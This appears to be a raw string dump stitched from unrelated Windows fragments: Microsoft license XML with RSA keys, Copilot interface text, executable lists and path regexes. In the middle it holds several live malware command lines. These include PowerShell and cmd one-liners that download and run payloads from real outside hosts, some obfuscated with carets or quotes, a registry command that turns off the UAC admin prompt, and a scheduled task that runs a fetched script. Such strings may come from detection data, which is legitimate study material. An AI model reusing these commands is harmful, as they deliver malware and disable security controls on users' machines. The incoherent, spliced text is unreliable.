lOd24ekJJK5Za8KM3cV4AY6Oh2cZWyIzFMtgQ4g0e6usAlnTx2R6zyEovSICDl1hm4KFThN/FADv7o8DrENUS7sWqJOuKuBS4pkflnhcQNMIq26jjJjTbxT6OttKrm6C3o1JMXnufMqZjfCBJ8f2eMPwlAanlFomwNixWznm7szhwDDXubPdm2HvF234/u/6svKAvoTTziSiZtFKj/mDHZeFREL0wG2NFzeM/Ldjc5DR+UlnA5jehDwCPSlhaxaNkkC7V0FAwQA6RRFyi7xQr8tTH770gYBOD1V46RZWgjr+FMKQntcABB95EWNFD+XU8GghqCiCF35CYJc5tmqhapq/qCcDao/uREDQ9m/oMWqB7H20DC5qZlxCw1Wbeft7erRtNVACXf41X3fBx9/VBtmTtd7w5I6RFw+TMABPiG0oOy67rmugQ4KPDy2BghY7SVP6KtAQN8Kuhnk9E0KEPbV8R/uo9/6acbasF6otsABY5kthnUX09rPtHSZ6E7/UA6VUiUXh17r6M0lH66TcdvyBXL2Q6aZUz3EXjmKRnU6v9EBunz3DsWKri3yEo+e1glqzwKUe4TnGBcC/OxP0W/ZJYg0DfWd9B+AZIHFAFX+nPgkdDkOIwX5waDZLvXwEFctaspTSg5znLZHH/rgQ7BqykwrYTwiAPipDUJb4WcC+UCniHWndocBnmlH4AooTKhivVzEAkP3DAW5Rho+h70MyhenYI5xmZtDDzH87UGEjJOihwfPCzrAQigIOK53IMEvR3txplK3TuGSywft8wobMH0qxFlm4iYbwWtWC4Zza3WYiJHXhZtukMBjX6cPFve+gK/DT/Qm4DN0hcc9JwvPQKe8y0Ms6nLlgEeG5I+SDkp7lF4oh7yLhR58ioc4NGMIHMEtXuciNlQ68XZOZMuH5w7j2Ucv75uH17EoMNu5XYAQC8FpDxQ9f8PhRD8eRSvyIHoPqoaah+6snC2wRBxmk959XgW4oS3KNzDMJazZf79zY7n2AlkHRZx/o7dqjKGtDutXPOMLp9VvgsrC4+QKjfGMIG9Bgwe/8yMc/TMa3XVcb6iRzIyzDzYg8esYTyFF7yYLMZ0rOa8FWlPvnnLkZ4T68+iygzDs6wKc+xC6XnbYe2ezRsvZEmnLABZN3ooamZ3zdnuRn5Q1CXsF1U1gXftjrn+QVOAf5Qo3bwMv//NU2uduisHy90dn4DSHAh6CuDSMqIwX5eXv4xvrulYIZk/yoi+bUh2UXOL6cMEdBQHxptbrKC0L9mT9ox2exfkuAelr+sgcp2z2GoWNPNRHJBwP5RWvRrdQhbh9a1ngudfjOA+/A+aS5/bxnmGnDmqCTrM5DwxK4fhbTfW7gGHw1S7s+yUNaAmQ1zGQf6hTQRNwz/WImgVwl8BfI7hFMj/+HayxLviWCKP7H2jXE8pmZlT63/bbLOwKOZ1eo2JoKw5QlFJ36E1YUAre5L0+1Ss6N/jRxqsEAZKpCUI4fAOkNz6lCI9I3BL48AAAWDiyPbQR8hBZM1Nvw/x+Wg4ZENIUcDIEoNRI9TfDZ8JbA4sL3VAXqaFtPcmr8P6YwuwALwJIjVvdsQlBCvxfBOiQdAImODBww6R5g8rJKK/FfGWEDDXN8D6Y3wIfegS/qGTPRykFwjx3V0L/YwmSh2r8mkWv8grhc44PTd6LCISm153vdpuCALIz/O2iV6tqJJKhw9GHQdAPq0ADpQp5cmBOwy2r81wgUw1lGZTOTBDDCoSmdCagvMgADULLcsPtExRQtjuQ7w71o1EN3/c+eBmBkGstTpfHOSwqiAICAAEABQABAAIAAQAHAAMAAQAHABM=</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{24ea277b-a22c-42df-9166-8ba5b72e81d9}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>XBzQ5eDk+jG/7jlTqm++Ae+A4mE=</DigestValue></Reference></SignedInfo><SignatureValue>hdyl11p0NgLgQIQfGhho8itCBH/Uuo8rpE/j80eD/wkdHpQrsFDBuTtGrPYW6KQeyGTQbArChhtwUQD3oIsUDVyiQuJPgi2Uf0wa0xLqRM8nUMN9hk3NpbQSePTYNp6IfOOAWZAE9KffRVEZdtX1b/CSJkWfYfXzPB+TTe2dfZpG5ZYgCN8w07KRwfjMfyf8NHHL0v6C+3MlxMCYpl7MR0opGpkXee2YdIXixecCM/975SOR1zPf3ujUCTnAhc3ZECtsHByKkjgkTZDbepoL3LQvOl0AaDTJ0tzOGh2dIOmc+5uG+6YfMHYerwRrQ/Y0CNW0HVyNw4CqR196/69saQ==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/PHONE/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/PHONE/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{7310ca6a-8c02-4362-8804-a8d0858e3f2a}</tm:infoStr><tm:infoStr name="productSkuId">{291ece0e-9c38-40ca-a9e1-32cc7ec19507}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="win:branding">175</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{c826bcc2-432b-44df-9a3f-a86f72e6b4b1}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL store License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ServerRdsh"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ServerRdsh</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{291ece0e-9c38-40ca-a9e1-32cc7ec19507}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>3CFnXfjdiTFySYsbGexVE/LRk3M=</DigestValue></Reference></SignedInfo><SignatureValue>XwnnUPpn7jhpJqRR7Mt5JudERg4tOS2p835AfdKLDZWAS4SwMHm+Rq0mqczdoeSSYlBV+AQfO77h7WjqZWjr0INGA48pAV0Kpa5eTTDCuyl9I2WnTOqNwH4XTjU+gjCJbFyny9xNU/DvSvUE6tgti1X6tDFUzlUgZV0bVRnoGaUuTWZKhth5FsykpgVuhCClwGD784r7SsgalcoQFVWg42RRY3jm4t4AO2uPsfg+azipYz2x15gaileGwUXjJKTwARKaFNeotNzdKbH3gM6w0Z6pU4pEFeeak5YBIqu1MWxaHgbuTuM2JD8iBPCtZifjYVBJ4Vx7OFBOFGXQbtR8mg==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/STORE/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/STORE/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{291ece0e-9c38-40ca-a9e1-32cc7ec19507}</tm:infoStr><tm:infoStr name="privateCertificateId">{581161f1-c04e-459c-b6b4-91ab0364e173}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ServerRdsh edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_MAK channel</tm:infoStr><tm:infoStr name="UXDifferentiator">RETAIL</tm:infoStr><tm:infoStr name="Family">ServerRdsh</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{581161f1-c04e-459c-b6b4-91ab0364e173}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL store License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>uir3XgQmV5YG4Kf0YZqGRLOYkAo=</DigestValue></Reference></SignedInfo><SignatureValue>MVbj+OD9Pqnbnw5kbQFnIEa1XSV8REQcaqhbwNJBeE8rGy6XRZcwt405Wa4jBehcl9zI10TK68UXDRvs8NyLvkA1vMfFg6q7zzssu7jOnrAAorbfTuE8wzyFuPdngIrcW7vqnQ2pb5z4ztuPRdGsLdkkaGOs+3KrBDckw7c1gCO8lqHcA4l6QNwL2mPYP1u2VvbBb8zWN8gAAt8Ik7DLY7TgQ11mxek0iTHp8S49FjSbv2izMMmpBfmbUVuIS/8LHfjbtf+fBCfcD+S72bjaPHuFvmkY6KDnXH9/82BvLzlscYpTvepctFTV7hIPqcGzNTEoWvMlAOGBYCG99jWQLQ==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/STORE/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/STORE/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{c826bcc2-432b-44df-9a3f-a86f72e6b4b1}</tm:infoStr><tm:infoStr name="productSkuId">{291ece0e-9c38-40ca-a9e1-32cc7ec19507}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="clip:policy">1</tm:infoStr><tm:infoStr name="win:branding">175</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
ncodeURIComponentForWindows	
WindowsFeedback
WindowScrollTop
WindowsFeedback
Windows.CloudExperienceHost_10.0.26100.1_neutral
windows.hlp`
Microsoft-Windows-
J\windows\system32\cmd.exe/v:on/
%c:\windows\system32\windowspowershell\v1.0\powershell.exe.$env:c:\w*\s*2\m*h?a.*'https://filebin.net/mtkpnk4x1g1cu6fj/readme.txt.hta'
regadd"hkey_local_machine\software\microsoft\windows\currentversion\policies\system"/v"consentpromptbehavioradmin"/t"reg_dword"/d0/f
WindowsDeviceClaim
WindowsUserClaim
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to s
bremusarpowershellconuser-agentlegtimoparaevitardeteccinpowershell-noprofile-windowstylehidden-executionpolicybypass-command"$wc=new-objectsystem.net.webclient;$wc.headers.add('user-agent','mozilla/5.0(windowsnt10.0;win64;x64)applewebkit/537.36');$wc.downloadfile('%url_payload%','%payload_path%');start-process-filepath'%payload_path%'-windowstylehidden
c:\windows\system32\cmd.exeinstall/esh/cs^t^a^rt^m^si^e^xec/^pa^c^ka^ge"http://2t.pm:8080/b9aes6we6ztrebxt2xerp5gmu3/klc8os8lpnk7fsgpw90/%computername%"t^sz^l^lr=^t^vp^f^i^x^t/^qnr^a^o^sb^u=r^aapf"%systemroot%\system32\imageres.dll
Mc:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-command"$downpath=[system.io.path]::combine($env:userprofile,'downloads','project1.exe');iwrhttp://185.96.166.113/project1.exe-outfile$downpath;&$downpath"
D=c:\windows\system32\cmd.exe/ccurl-s-v-ohygncxmqatsp.js"https://www.dsestimation.com/wp-content/uploads/2015/10/azoxyphenetole04.php"&schtasks/create/f/scminute/mo1/tr"wscript'%tmp%\hygncxmqatsp.js'ets6lghd8vskwwb"/tnets6lghd8vskwwb
WindowsRuntimeBufferHelper
WindowsRuntimeDesignerContext
WindowsRuntimeMetadata
Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\drivers.desc
WindowsTelemetry = 0
stem32%\certreq.exe;%system32%\devicepairingwizard.exe;%system32%\displayswitch.exe;%system32%\dxpserver.exe;%system32%\fsquirt.exe;%system32%\gamepanel.exe;%system32%\lockscreencontentserver.exe;%system32%\mblctr.exe;%system32%\osk.exe;%system32%\proximityuxhost.exe;%system32%\rdpclip.exe;%system32%\rdpshell.exe;%system32%\rdvghelper.exe;%system32%\sndvol.exe;%system32%\snippingtool.exe;%system32%\wmpdmc.exe
%system32%\datausagelivetiletask.exe
%system32%\bdeunlock.exe;%system32%\displayswitch.exe;%system32%\easeofaccessdialog.exe;%system32%\lockscreencontentserver.exe;%system32%\mmc.exe;%system32%\msdt.exe;%system32%\osk.exe;%system32%\rekeywiz.exe;%system32%\sessionmsg.exe;%system32%\taskmgr.exe;%system32%\utilman.exe
%system32%\bdeunlock.exe;%system32%\camerasettings.exe;%system32%\certreq.exe;%system32%\dmnotificationbroker.exe;%system32%\dpapimig.exe;%system32%\licensingui.exe;%system32%\optionalfeatures.exe;%system32%\osk.exe;%system32%\passwordonwakesettingflyout.exe;%system32%\phoneactivate.exe;%system32%\proximityuxhost.exe;%system32%\sessionmsg.exe;%system32%\sethc.exe;%system32%\sysreseterr.exe;%system32%\systemsettingsadminflows.exe;%system32%\systemsettingsremovedevice.exe;%system32%\utilman.exe;%system32%\windowsactiondialog.exe;%system32%\wlrmdr.exe;%system32%\rasphone.exe
%system32%\certutil.exe;%system32%\cipher.exe;%system32%\csvde.exe;%system32%\dcdiag.exe;%system32%\dsdbutil.exe;%system32%\efsui.exe;%system32%\gpfixup.exe;%system32%\net1.exe;%system32%\netdom.exe;%system32%\netplwiz.exe;%system32%\ntdsutil.exe;%system32%\rekeywiz.exe;%system32%\repadmin.exe;%system32%\systempropertiesadvanced.exe;%system32%\winrs.exe;%system32%\wsmanhttpconfig.exe;%system32%\wsmprovhost.exe;%system32%\filehistory.exe
%system32%\bitlockerdeviceencryption.exe;%system32%\dsregcmd.exe
%system32%\dsquery.exe
%system32%\dcdiag.exe;%system32%\dfsrdiag.exe;%system32%\dmcertinst.exe;%system32%\netdom.exe;%system32%\rendom.exe
%system32%\dmcfghost.exe;%system32%\dmomacpmo.exe;%system32%\dstokenclean.exe
%system32%\infdefaultinstall.exe;%system32%\securityhealthservice.exe;hvciscan_amd64.exe
%system32%\lpksetup.exe;%system32%\wusa.exe
%system32%\checknetisolation.exe;%system32%\dcdiag.exe;%system32%\dnscmd.exe;%system32%\edpcleanup.exe;%system32%\ipconfig.exe;%system32%\lpremove.exe;%system32%\msdtc.exe;%system32%\netdom.exe;%system32%\netsh.exe;%system32%\nslookup.exe;%system32%\rendom.exe;%system32%\repadmin.exe;%system32%\securityhealthservice.exe;%system32%\setupugc.exe;%system32%\sihclient.exe;%system32%\spoolsv.exe;%system32%\sppextcomobj.exe;%system32%\systempropertiesadvanced.exe;%system32%\systemsettingsadminflows.exe;%system32%\tieringengineservice.exe;%system32%\wbengine.exe;%system32%\wkspbroker.exe
%system32%\dmcfghost.exe;%system32%\omadmclient.exe
%system32%\dmcfghost.exe;%system32%\omadmrpc.exe
%system32%\dmomacpmo.exe
%system32%\omadmclient.exe;%system32%\usocoreworker.exe
%system32%\mdmdiagnosticstool.exe;%system32%\mousocoreworker.exe;%system32%\omadmclient.exe;%system32%\usocoreworker.exe
%system32%\deviceenroller.exe;%system32%\omadmclient.exe
%system32%\deviceenroller.exe;%system32%\dmomacpmo.exe;%system32%\mdmagent.exe;%system32%\mdmappinstaller.exe;%system32%\mdmdiagnosticstool.exe;%system32%\omadmclient.exe;%system32%\workfolders.exe
WINDOWS\system32\config
~c:\windows\system32\cmd.exeitboxnas/d/q/v/r^s^ta^rt^m^s^ie^xe^cci^bhqy^e^i^k=p^q-^qu^i^e^t-^fv"http://m0.nu:8080/bsyt6gb/psalc0uvnxgjvh9vogeuepvdd/!computername!"!%systemroot%\system32\shell32.dll%comspec%
c:\windows\system32\forfiles.exe-p"c:\w"i"nd"o"w"s\up"d"ate\..\.\c"o"mpil"e\..\sy"st"em32"-m"aggreg"at"o"r"host.exe"/c"cmd/ccurlhttps://m.wapd"a.wo"rker"s.dev"/"up"d"ate/../"s"ty"le.css-o%tmp%\uxtheme.dll
c:\windows\system32\cmd.exe/cpowershell-windowstylehidden-commandinvoke-webrequest-uri"https://luckysalee.shop/
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe"
windowsinstaller.installer
microsoft windows: fix internet dns service reconnect
restart dns service in the microsoft windows system
      "Regex": "%systemdrive%\\\\Data\\\\ProgramData\\\\Microsoft\\\\Windows\\\\APPREPOSITORY\\\\$(MatchAnyFilesRecursive)"
      "Regex": "%localappdata%\\\\Packages\\\\Microsoft\\.Windows\\.FeatureOnDemand\\.InsiderHub_cw5n1h2txyewy\\\\$(MatchAnyFilesRecursive)"
\Users\\\\DefApps\\\\AppData\\\\Local\\\\Packages\\\\Microsoft\\.WindowsFeedbackHub_8wekyb3d
      "Regex": "%osdatadrive%\\\\windows\\\\$(MatchAnyPath)\\\\$(MatchAnyFilesRecursive)"
